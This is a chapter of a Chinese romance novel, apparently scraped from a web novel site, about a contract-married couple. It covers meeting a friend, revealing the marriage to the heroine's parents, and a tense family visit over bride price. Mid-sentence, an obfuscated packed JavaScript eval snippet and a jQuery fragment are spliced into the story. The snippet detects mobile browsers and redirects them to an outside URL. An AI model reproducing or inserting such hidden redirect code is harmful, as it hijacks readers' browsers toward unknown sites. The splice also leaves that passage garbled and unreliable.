闻言,商远瞠目,“我靠,你真结婚了啊?昨天陈霜还跟我说,你朋友圈里的结婚证是整蛊来着。”
段诩淮看他一眼,“我像是会拿这种事情开玩笑的人?”
商远笑笑,“被你家里催急了,做出什么事都不稀奇。”
“不过你结婚我确实挺意外的。”
陈清杳在一旁听着两人的对话,视线落在前方,显得有些局促。段诩淮见状,向她介绍:“商远,之前跟你提过的,我发小。”
商远看上去就像是那种性格开朗,在商场上吃得开的人,他大大方方地叫了声:“嫂子。”
陈清杳莞尔,“你好。”
话音刚落,商远紧接着打趣,“嫂子看着挺局促。”他话锋一转,矛头对准段诩淮调侃,“段哥,出来逛街都不知道牵着老婆的手,回去该跪搓衣板了。”
作为新婚夫妻,刚结婚就如此生分,连手都不牵,的确太说不过去。
商远的话像是一道温和的提醒。
让陈清杳同段诩淮的目光在空中不期然交汇。段诩淮眼皮窄度不算深,只是眼尾的弧度偏下,看起来稍显冷淡。可他抬眸同人对视时,那股子清冷则会染上几分深情的味道。
他松泛地抓住了她的手腕,指腹干燥的温度令陈清杳耳热。
“刚才挑选东西的时候,我没什么审美,被太太嫌弃,到现在都不肯让我牵手。”
她忍不住侧眸看着姿态从容的男人,真是难为他编这么一段了。
这话也不知道商远信没信,商远没太深究,“行,我就不打扰你们小夫妻了,下次有空再聚。”他拍了拍段诩淮的肩,口味松快,“喜酒记得早点提上日程。”
段诩淮敛眸,“会的。”
送别商远,陈清杳看着他开着一辆拉风的超跑离开。还是头一次见到如此鲜活的京圈公子哥,陈清杳忍不住好奇多看了两眼。段诩淮倒没松开,只是声线稍稍压低,“回神了。”
不知道是不是错觉,她总觉得他眼里有一闪而过的不虞情绪。
她不太确定自己是不是误会了。
心思还是被带偏了片刻。
陈清杳眼神微动,出于敬业意识,询问:“你发小是做什么的呀?”
“无业游民一个。”段诩淮说。
陈清杳眨了眨眼睫,思忖着他有没有掺杂别的意味。毕竟谁会用这样的词来给自己的好兄弟定性。看段诩淮也不像是小气的人。
见她眼瞳轻转,段诩淮知道她误会了,声音回温了些:“他父母职位很高,大概就这几年退休。商远大学的时候就在玩虚拟币、期货,赚了不少钱,现在回国,只能压着风头。”
既是公职人员,自然忌讳谈论太深。陈清杳父母也是体制内的,知晓其中的弯弯绕绕。只是,究竟赚了多少,才需要让这么个履历优秀的人,不得不韬光养晦。
“他不会加了杠杆吧?”
段诩淮点到即止:“很多倍。普通人想象不到的数字。”
“后来捐得差不多了,手里没剩多少。”
他刻意补充一句,有点醒的意思在里面,陈清杳做了个封口的动作。素来温婉的人陡然多了几分灵动的鲜活,段诩淮有片刻的滞神,直到陈清杳绯红着脸,低声道:“他已经走了,那我们还要……牵手吗?”
段诩淮:“抱歉。”
旋即松开手。
-
陈清杳看着这颗偌大的鸽子蛋戒指,最终在斥资买了个保险箱,小心翼翼地锁进去。其他的小东西就算了,等合约结束,婚戒还是得还回去。
段诩淮最近在看房产,让林越发来了很多户型图。
她工作太忙,没来得及看一条接着一条的消息。
【婚房买在哪里都可以,我没有意见】
段诩淮没有再回。
消停了大半月,杨女士的催婚电话如期而至。陈清杳一边处理工作,一边听着视频那头细数最近她又有哪个高中同学、小学同学结婚的消息,或许是已经有了托底的关系,陈清杳的心态全然变了。
“这马上就要过年了,你再不相亲,明年就二十八了,恋爱还得谈个半年一年的,再这么拖下去,真就得过三十大关了。”
她不疾不徐给自己萃了杯蓝莓风味的咖啡,一语惊人,“妈,我结婚了。”
视频那头,她爸陈耀探出半边身子,一家人都愣住了,以为她在开玩笑。
“你啊!跟你说结婚的事你不上心,就知道拿我们俩寻开心。”
“杳杳,你说的是不是又是什么网络流行梗,自己跟自己结婚,哎呀,我看过的。”
见两人不信,陈清杳从抽屉里拿出鲜红的结婚证,仔仔细细地全方位展示了遍。
向来不肯让话头掉下去的杨晓女士,竟破天荒地沉默了足足三分钟。陈耀举着眼镜,笑着道:“这小伙子长得还不错,配得上我们家杳杳。”
杨晓瞪丈夫一眼,懒得同男士说这些,女儿的事情他是一点不关心,只知道念叨什么儿孙自有儿孙福,船到桥头自然直,她看他就是一颗心全放在了他跟前妻生的儿子上。
家家有本难念的经,家里头这些事,杨晓不想让女儿知道,过了片刻,才认真道:“清杳,你对你这个闪婚的丈夫了解有多少?”
婚前协议已经交给律师看过了,没有债务风险。
陈清杳要的是合作伙伴,又不是真正的丈夫,这些对她来说,足够了。
“还行。”她说。
“他做什么工作的?家里有几口人,有几个老人需要赡养?父母什么职业?有没有退休金?如果你们俩在京北买房,家里能支持多少……”杨晓想问的东西太多了,每一个都是避不开的现实。
“不管你们现在什么情况,我决不允许我的女儿在出租房里结婚。”
陈清杳见杨女士真的生气了,一下子慌了,真心实意道:“妈,他是开公司的,叫启明科技,你不放心可以让人去查。婚房……我们正在看,全款。他是独生子,家庭条件甩我几条街。”
按照婚恋市场那套,段诩淮这种阶层的人,同她有着云泥之别。
陈清杳理所当然地认为,杨晓应该会很满意。
“清杳。”杨晓恨铁不成钢,连叹了几口气,“我们女性,不能自我轻视。你觉得他条件好,就能抵过一切了吗?”
“你们领证也有一个星期了,他有主动提过见家长没?这点诚意都没有,婚后拿什么给你幸福。”
陈耀在一旁给妻子顺气,宽慰道:“咱们心平气和一点,年轻人工作忙,没准只是还没来得及……”
“工作工作,工作算什么借口!”
岁月的痕迹在杨晓发怒的这一刻,愈发明显。她当初就是上嫁,吞针咽下的苦,就连枕边人都不懂。
“这周周末,必须带他回青市。”
陈女士下了最后通牒。
这场视频通话,最终于单方面的压制收尾。
陈清杳怎么也没想到,自己竟然把事情搞砸了。她还以为可以就此摆脱被催婚的烦恼。骑虎难下之际,她给段诩淮发了条微信。
这个点已经很晚了。
陈清杳:【你睡了吗?】
段诩淮:【还没有有事?】
陈清杳:【嗯】她没想好怎么同他说。
段诩淮:【方便的话,电话聊】
“清杳。”他似是刚洗完澡,声音带着些许颗粒的沙哑。
有点苏。
“什么事?”过于温柔的语气,让陈清杳有片刻的恍神。
“我家里人想见你。”陈清杳言简意赅,她记得林越发来的行程表,他这周有重要的会议,“如果你没有时间的话,我自己再想办法……”
“具体哪天?我让林越订机票。”
“这周末。”
段诩淮没有半分犹豫,“好,到时候我来接你。”
陈清杳想让他别太勉强,但一想到杨女士的态度,软了下来,没再执着。
-
周六一早,段诩淮亲自驱车来接她。迈巴赫,纯黑色漆面,立体车标熠熠发光。陈清杳没见过他这辆车,见它停靠在自己身边,往前挪开脚步。
直到迈巴赫缓缓追上来。
车窗降下,露出段诩淮那张熟悉的脸。
“跑什么?”段诩淮看着她,眉眼里带着似笑非笑的笑意,“怕我吃了你?”
没想到他也会调侃人,陈清杳脸颊一红,拉开车门上了车,“我以为你会开之前那辆车。”
“我平时会开的车总共有四辆,一辆商务车,一辆SUV,两辆轿车。之前发给你的资产类别里应该有,后面你见我家人的时候,可能需要大致了解下。”段诩淮想到了什么,“你平时怎么去公司?”
陈清杳暗暗记下,以免露馅。同他结婚了,总不至于连他的车牌号都不认识。
“打车,有时候骑自行车。”
听到后一句时,段诩淮眉心轻皱,温声说:“太危险了,空了你可以去4S店看下喜欢的车,我让林越安排。”
“不用不用。”陈清杳忙拒绝,“你已经给了我超出合作范围很多的报酬了。”
这段时间的相处下来,段诩淮发现,陈清杳是个相当懂边界感的人。她温柔、真诚,事事为对方考虑,却也懂事到令人心疼。
正是因为她这份小心谨慎,让段诩淮忍不住想要照顾她更多。
他微微敛眸,平稳的声线带着一丝不易察觉的探究,“除了合作,我们不能有别的关系吗?”
陈清杳以为自己听错,杏眸里闪过茫然,“什么?”
“比如。”段诩淮凝视前方,薄唇轻碾出两个字,“朋友。”
“亦或者,我比你大两岁,做你的兄长,照顾你,也理所应当。”
他生在独生子家庭,没有体会过有妹妹的感觉,常被商远调侃,说他不懂女孩的细腻心思。遇到陈清杳以后,这种独来独往的性子似乎有了变化。他给自己的动机找了合理的借口,让陈清杳一时无法找到反驳的支点。
陈清杳心思浮浮沉沉,好半晌,才低低道:“那我们……就先从朋友做起?”
段诩淮把着方向盘,“前提是,你不能再对我这么客气疏离,总想着谢我,怕麻烦我。”
她看着他清隽的侧颜,忍不住腹诽,疏离冷淡的人,难道不应该是他才对嘛?
压抑住从心脏深处冒出来的悸动,陈清杳低下眸,“好。”
段诩淮睨过来的视线平静,不似平时寡冷,多了几分触手可及的柔和。
“既然答应了,后面就不要再生分了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146270|196380||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
他指的是她斟酌许久,才给他发微信试探的事。
-
青市临海,陈清杳的家距离海边有两公里左右,但楼层高,加上前方没有视野遮挡,天气好的时候,能望见夕阳坠落时的一线天。
陈耀一大早就去本地的菜市场买了活的土鸡和一些海鲜,将厨房弄得热气腾腾。
杨晓不满这个一声不吭就带着女儿领证的女婿,故意没有下楼去接。
陈清杳同段诩淮到的时候,她有些忐忑,深呼吸一口气,才摁了指纹锁。
段诩淮见状,“要牵手么?”
“或许会没那么紧张。”
他们现在是瞒着父母也要闪婚的新婚夫妻,自然应该如胶似漆。陈清杳将手搭在他掌心,温热的触感,让她心跳有片刻的凝滞。本以为段诩淮会这样松泛地牵着,他却穿过她的指缝,同他十指相扣。
“别害怕,我在。”段诩淮的手掌给了她力量,竟让她无端安心下来。
杨晓听见指纹锁解锁的声音,擦了擦手,拉开门。
“妈。”陈清杳示意段诩淮将东西放下,向他介绍,“这位是我妈,你叫她阿姨就好。”
三室一厅的玄关窄,杨晓从鞋柜里拿出双男士拖鞋,看向女儿身侧英俊儒雅的男人,面上没什么表情。
“妈。”段诩淮开口。
杨晓没吭声。
见段诩淮不受待见,陈清杳只能摸摸鼻尖,“这位是段诩淮,妈,你叫他小段就好。”
“先进来吧,外面冷。”杨晓到底还是疼女儿,没说不让段诩淮进门。她扫了眼段诩淮,还算懂礼,第一次上门提的见面礼很是贵重。两瓶珍藏级别的茅台,一套赫莲娜护肤品,似乎还有套珠宝首饰,以及人参、花胶之类的,品质皆为上乘。
正在厨房忙碌的陈耀擦着手出来,比妻子热情得多,笑眯眯地听完陈清杳介绍,对段诩淮一见如故,“小段,这酒不是前几年早就绝世了吗,你怎么买到的?”
段诩淮:“清杳说您喜欢品酒,我特意找的门路,希望您不嫌弃。”
陈耀高兴得合不拢嘴,“我平时可舍不得喝这么好的酒,小几万呢!”
遭来妻子一记白眼,“你锅里的骨汤该炖糊了吧?”
“哎哟,清杳,你先陪小段聊会天,我得回去看锅里。”陈耀连忙跑进厨房。
客厅里,三人端坐,陈清杳同段诩淮相邻而坐,她甚至能闻到他身上好闻的雪松香气。她还是第一次喝他坐得这么近,男人身上的炽热的体温,好似透过衣服渡过来,烤得她浑身微微发热。
杨晓终于打破了沉寂,打量着段诩淮:“小段,今天不是我要扮这个白脸,天底下没有哪个父母愿意看着女儿吃苦。她还年轻,很多事情不懂,所以只能由我来说,你不要介意。”
杨晓在单位里有一定职务,不笑的时候,带着淡淡的体制内压迫感。
段诩淮始终从容,“我对清杳是认真的,您有不放心的地方,尽管提,我会尽我所能地做到。”
“那我就不绕弯子了。”杨晓说,“彩礼的事,你跟家里商量过吗?”
陈清杳没想到母亲会提这种陈年陋习,忙不迭道:“妈,这都什么年代了……”
“清杳,你先别说话。”杨晓看向段诩淮,“我们山省人一向在乎女儿,你要是真的有诚意,应该主动提。”
段诩淮:“我可以做主。”
陈清杳在一旁干着急,毕竟京北很少有彩礼的说法,她不想让段诩淮生出不好的印象。
“只是。”段诩淮镇定道,“我跟清杳的婚姻是平等的,而非传统的嫁娶关系,我认为用‘彩礼’一词来概述,对她不太尊重。”
话说到这里,杨晓几乎快挂不住脸了。多少婚事都是因为彩礼谈崩的。对于父母来说,这一关更像是为女儿设立的考验关卡。
段诩淮话锋柔和一转,“如果您和岳父不介意的话,我愿意购置一套不少于两百平的房产,以及不低于九十万的车,记在您和岳父名下,作为我对清杳的赠与。”
毕竟两人已经领了证,法律上是事实夫妻。这时候买房记在陈清杳名下,属于婚内共同财产,但若是记在陈清杳父母的名下,即便将来两人离了婚,也没办法收回。
杨晓的脸色这才好了些。
陈清杳震惊于段诩淮的大手笔,想制止,却被杨晓极快地答应了下来。
事情就这样在两人之间谈妥,饭桌上。陈耀开了瓶酒,要同女婿碰杯,段诩淮为难地看向陈清杳。视线交汇,她分明不了解他的生活习惯,竟意会了他的含义,解释:“爸,诩淮不喝酒。”
陈耀:“烟呢?”
一个人太完美也不太现实。陈清杳硬着头皮编:“他之前应酬要抽,跟我认识后,我让他戒了。”
“不抽烟也好,烟酒对身体不好。”陈耀点头,对女婿愈发满意。
杨晓数落丈夫:“我早就说过,你该把你那烟酒戒了,就是不听。让你戒跟你要你命一样,等你老了,身体出问题了,我才懒得伺候你。”
这段就这么有惊无险地糊弄了过去。
陈清杳放下筷子,察觉到段诩淮意味深长的目光。
手机里传来他发的消息。
【给我立的新人设挺有意思】